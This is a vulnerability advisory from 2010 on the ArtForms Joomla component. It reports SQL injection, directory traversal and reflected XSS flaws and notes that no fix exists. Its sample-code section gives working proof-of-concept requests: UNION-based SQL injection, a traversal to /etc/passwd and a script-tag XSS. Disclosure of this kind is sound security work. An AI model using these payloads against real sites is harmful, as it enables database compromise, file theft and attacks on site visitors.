ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

 Name              ArtForms
 Vendor            http://joomlacode.org/gf/project/jartforms/
 Versions Affected 2.1b7.2 RC2

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

ArtForms is a popular Joomla component.
The ArtForms component  is  a  package  for an easy From
Generator for Joomla 1.0.xx. It  allows  you to generate
as  much  Forms  as  you like, you can define all fields
that  you  need and also make file upload and attachment
possible.


II. DESCRIPTION
_______________

Some parameters are not sanitised  before  being  used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version  2.1b7.2 RC2. 
Other versions may also be affected.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 B) Directory Traversal
 C) Reflected XSS
 

A) Multiple SQL Injection
_________________________

The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


B) Directory Traversal
______________________

The  l  parameter  in  alikon/captcha.php is not properly
sanitised before being used to create a path  for  a file
that will be downloaded.This can be exploited to download
arbitrary  files  from   local  resources  via  directory 
traversal  attacks.


C) Reflected XSS
________________

The  afmsg  parameter  is  not  properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23


B) Directory Traversal

http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00


C) Reflected XSS

index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>


V. FIX
______

No fix.